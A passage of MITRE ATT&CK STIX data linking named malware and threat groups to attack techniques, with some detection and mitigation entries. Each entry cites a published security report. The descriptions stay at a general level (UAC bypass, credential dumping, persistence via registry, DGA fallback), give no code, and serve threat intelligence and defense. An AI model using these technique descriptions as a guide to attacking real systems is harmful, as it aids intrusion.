2021."}],"modified":"2021-04-23T22:56:14.884Z","description":"[Ebury](https://attack.mitre.org/software/S0377) has implemented a fallback mechanism to begin using a DGA when the attacker hasn't connected to the infected system for three days.(Citation: ESET Ebury Oct 2017)","relationship_type":"uses","source_ref":"malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--368510dc-1050-45df-81f2-1fca6118c2b0","created":"2023-02-14T18:30:32.766Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-23T22:28:54.231Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) can call `NtQuerySystemProcessInformation` with `SystemProcessInformation` to enumerate all running processes, including associated information such as PID, parent PID, image name, and owner.(Citation: MalwareBytes WoodyRAT Aug 2022)","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--36855997-d730-48c6-bd43-7896c741cd6e","type":"relationship","created":"2021-04-20T19:17:57.991Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 BendyBear Feb 2021","url":"https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/","description":"Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021."}],"modified":"2021-04-20T19:17:57.991Z","description":"[BendyBear](https://attack.mitre.org/software/S0574) has used byte randomization to obscure its behavior.(Citation: Unit42 BendyBear Feb 2021)","relationship_type":"uses","source_ref":"malware--805480f1-6caa-4a67-8ca9-b2b39650d986","target_ref":"attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3685caad-4ab6-42e8-888d-e7619006dd04","created":"2022-10-13T15:42:14.861Z","revoked":false,"external_references":[{"source_name":"BlackBerry Amadey 2020","description":"Kasuya, M. (2020, January 8). Threat Spotlight: Amadey Bot Targets Non-Russian Users. Retrieved July 14, 2022.","url":"https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T15:42:14.861Z","description":"[Amadey](https://attack.mitre.org/software/S1025) can collect information from a compromised host.(Citation: BlackBerry Amadey 2020)","relationship_type":"uses","source_ref":"malware--05318127-5962-444b-b900-a9dcfe0ff6e9","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--36897d4a-1443-4061-b065-ae6d5d8c18b2","type":"relationship","created":"2021-10-01T01:57:31.707Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT TeamTNT Chimaera September 2020","url":"https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera","description":"AT&T Alien Labs. (2021, September 8). TeamTNT with new campaign aka Chimaera. Retrieved September 22, 2021."}],"modified":"2021-10-12T18:18:25.378Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has used batch scripts to download tools and executing cryptocurrency miners.(Citation: ATT TeamTNT Chimaera September 2020)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--368ed1d6-0ce4-457c-b0b8-aad079d7a28e","type":"relationship","created":"2021-09-21T14:52:49.737Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-09-21T17:11:52.836Z","description":"(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93","target_ref":"malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3691a1cd-c9d4-4492-b6c1-7ceb1b661758","created":"2022-09-28T13:31:37.746Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AADInternals Azure AD On-Prem to Cloud","description":"Dr. Nestori Syynimaa. (2020, July 13). Unnoticed sidekick: Getting access to cloud as an on-prem admin. Retrieved September 28, 2022.","url":"https://o365blog.com/post/on-prem_admin/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T21:30:44.874Z","description":"[AADInternals](https://attack.mitre.org/software/S0677) can inject a malicious DLL (`PTASpy`) into the `AzureADConnectAuthenticationAgentService` to backdoor Azure AD Pass-Through Authentication.(Citation: AADInternals Azure AD On-Prem to Cloud)","relationship_type":"uses","source_ref":"tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756","target_ref":"attack-pattern--54ca26f3-c172-4231-93e5-ccebcac2161f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--36929435-86c4-41f9-8922-ad5e1fc512b1","created":"2023-10-04T13:23:54.929Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Gigamon BADHATCH Jul 2019","description":"Savelesky, K., et al. (2019, July 23). ABADBABE 8BADFOOD: Discovering BADHATCH and a Detailed Look at FIN8's Tooling. Retrieved September 8, 2021.","url":"https://blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-05T08:21:48.521Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) has an embedded second stage DLL payload within the first stage of the malware.(Citation: Gigamon BADHATCH Jul 2019)","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--36971cb7-b06e-48d6-9591-15a00b3a5161","type":"relationship","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.833Z","description":"Monitor newly executed processes that may achieve persistence by adding a Registry key to the Active Setup of the local machine.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--22522668-ddf6-470b-a027-9d6866679f67","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--36983a10-4fdb-4bfc-83a0-78f4d11e83df","type":"relationship","created":"2020-03-30T19:47:22.076Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT HOPLIGHT Apr 2019","url":"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A","description":"US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019."}],"modified":"2020-03-30T19:47:22.076Z","description":"[HOPLIGHT](https://attack.mitre.org/software/S0376) has connected outbound over TCP port 443 with a FakeTLS method.(Citation: US-CERT HOPLIGHT Apr 2019)","relationship_type":"uses","source_ref":"malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--36986111-c0c0-40d0-8d88-3b59e655c2d1","created":"2024-03-22T20:18:42.433Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SocGholish-update","description":"Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-22T20:19:20.305Z","description":"[SocGholish](https://attack.mitre.org/software/S1124) has used WMI calls for script execution and system profiling.(Citation: SocGholish-update) ","relationship_type":"uses","source_ref":"malware--5911d2ca-64f6-49b3-b94f-29b5d185085c","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3698b20c-408a-4873-9284-19b2106bfaab","type":"relationship","created":"2020-12-22T17:07:56.075Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}],"modified":"2020-12-22T17:07:56.075Z","description":"[SharpStage](https://attack.mitre.org/software/S0546) has the ability to create persistence for the malware using the Registry autorun key and startup folder.(Citation: Cybereason Molerats Dec 2020) ","relationship_type":"uses","source_ref":"malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--36a0199f-bce6-4717-a4e4-ce3d75a7ab1c","created":"2020-04-28T18:12:13.561Z","x_mitre_version":"1.0","external_references":[{"source_name":"Medium KONNI Jan 2020","url":"https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b","description":"Karmi, D. (2020, January 4). A Look Into Konni 2019 Campaign. Retrieved April 28, 2020."},{"source_name":"Malwarebytes Konni Aug 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/","description":"Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[KONNI](https://attack.mitre.org/software/S0356) has bypassed UAC by performing token impersonation as well as an RPC-based method, this included bypassing UAC set to “AlwaysNotify\".(Citation: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug 2021)","modified":"2022-04-18T21:42:38.119Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--36a93ca6-ad3b-468a-b5a3-d4676410ae1b","created":"2024-02-12T20:33:51.007Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T21:15:09.084Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) will search for cryptocurrency wallets by examining application window names for specific strings.(Citation: Ensilo Darkgate 2018) [DarkGate](https://attack.mitre.org/software/S1111) extracts information collected via NirSoft tools from the hosting process's memory by first identifying the window through the FindWindow API function.(Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--36aad32e-5300-4db0-b5a2-8b7442123db1","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","source_name":"Symantec Orangeworm April 2018"}],"modified":"2019-03-25T15:36:46.893Z","description":"(Citation: Symantec Orangeworm April 2018)","relationship_type":"uses","source_ref":"intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1","target_ref":"malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--36ac187b-e0a4-4603-8c83-49d71f88df7b","created":"2024-09-06T22:17:35.961Z","revoked":false,"external_references":[{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T22:17:35.961Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) has enumerated SECURITY and SYSTEM log files during intrusions.(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--866d0d6d-02c6-42bd-aa2f-02907fdc0969","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--36af6d80-fef4-40b9-9b32-a2947eadd9e7","type":"relationship","created":"2020-06-19T20:04:12.179Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-19T20:04:12.179Z","description":"[APT32](https://attack.mitre.org/groups/G0050) malware has injected a Cobalt Strike beacon into Rundll32.exe.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--36b27959-d265-4fb6-b33b-3a1e74d43206","type":"relationship","created":"2019-04-24T15:28:53.430Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/","description":"Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018.","source_name":"SecureList SynAck Doppelgänging May 2018"},{"url":"https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging","description":"Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelgänging technique. Retrieved May 24, 2018.","source_name":"Kaspersky Lab SynAck May 2018"}],"modified":"2020-03-16T18:36:00.142Z","description":"[SynAck](https://attack.mitre.org/software/S0242) checks its directory location in an attempt to avoid launching in a sandbox.(Citation: SecureList SynAck Doppelgänging May 2018)(Citation: Kaspersky Lab SynAck May 2018)","relationship_type":"uses","source_ref":"malware--04227b24-7817-4de1-9050-b7b1b57f5866","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--36b2817e-5f07-4f70-927c-8e04b955d5a3","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-20T23:16:11.782Z","description":"[Dipsind](https://attack.mitre.org/software/S0200) encrypts C2 data with AES256 in ECB mode.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--e170995d-4f61-4f17-b60e-04f9a06ee517","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--36b9f594-9a27-4281-a18e-9a5e7df70ad9","type":"relationship","created":"2017-05-31T21:33:27.061Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"},{"url":"https://www.secureworks.com/research/bronze-union","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.","source_name":"SecureWorks BRONZE UNION June 2017"}],"modified":"2020-03-20T00:22:39.692Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors have used [gsecdump](https://attack.mitre.org/software/S0008) to dump credentials. They have also dumped credentials from domain controllers.(Citation: Dell TG-3390)(Citation: SecureWorks BRONZE UNION June 2017)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--36c4252b-fc24-467e-b56b-56ba29bb4026","type":"relationship","created":"2021-05-06T15:18:49.480Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}],"modified":"2021-05-06T15:18:49.480Z","description":"[SideTwist](https://attack.mitre.org/software/S0610) can collect the username on a targeted system.(Citation: Check Point APT34 April 2021)","relationship_type":"uses","source_ref":"malware--df4cd566-ff2f-4d08-976d-8c86e95782de","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--36cdeef3-a216-44cd-ad79-dd8085e86fc3","type":"relationship","created":"2019-06-05T13:06:06.508Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro njRAT 2018","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/","description":"Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019."}],"modified":"2019-06-24T18:57:11.314Z","description":"[njRAT](https://attack.mitre.org/software/S0385) can capture screenshots of the victim’s machines.(Citation: Trend Micro njRAT 2018)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--36d45d93-4a7f-4af1-b89a-2c2744f6b535","type":"relationship","created":"2020-11-09T21:54:38.787Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BLINDINGCAN Aug 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a","description":"US-CERT. (2020, August 19). MAR-10295134-1.v1 – North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020."}],"modified":"2020-11-09T21:54:38.787Z","description":" [BLINDINGCAN](https://attack.mitre.org/software/S0520) has uploaded files from victim machines.(Citation: US-CERT BLINDINGCAN Aug 2020)","relationship_type":"uses","source_ref":"malware--01dbc71d-0ee8-420d-abb4-3dfb6a4bf725","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--36df9345-1175-4425-af6f-e40e393fc182","type":"relationship","created":"2020-09-11T15:22:21.559Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Anchor DNS July 2020","url":"https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30","description":"Grange, W. (2020, July 13). Anchor_dns malware goes cross platform. Retrieved September 10, 2020."}],"modified":"2020-09-11T15:22:21.559Z","description":"[Anchor](https://attack.mitre.org/software/S0504) can install itself as a cron job.(Citation: Medium Anchor DNS July 2020)","relationship_type":"uses","source_ref":"malware--5f1d4579-4e8f-48e7-860e-2da773ae432e","target_ref":"attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--36e1fe73-44dd-48d0-b213-987f085a47f1","created":"2022-10-18T22:47:23.269Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T22:47:23.269Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--55fc4df0-b42c-479a-b860-7a6761bcaad0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--36e86ea2-e0d4-4ade-bae8-212a78c8d569","type":"relationship","created":"2020-02-12T14:37:27.524Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-28T16:07:44.897Z","description":"Audit the Remote Desktop Users group membership regularly. Remove unnecessary accounts and groups from Remote Desktop Users groups.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--36ec45da-4b51-4e71-9a77-64ddfe1c8b6f","created":"2022-03-30T14:26:51.866Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for changes made to Windows Registry keys and/or values that may be the result of using a virtual instance to avoid detection. For example, if virtualization software is installed by the adversary the Registry may provide detection opportunities. ","modified":"2022-04-14T16:26:34.903Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--36f057c1-6f80-4254-963b-79704bbe6232","created":"2023-05-16T19:33:29.448Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-16T19:34:34.663Z","description":"During [C0026](https://attack.mitre.org/campaigns/C0026), the threat actors re-registered expired [ANDROMEDA](https://attack.mitre.org/software/S1074) domains to profile past victims for further targeting.(Citation: Mandiant Suspected Turla Campaign February 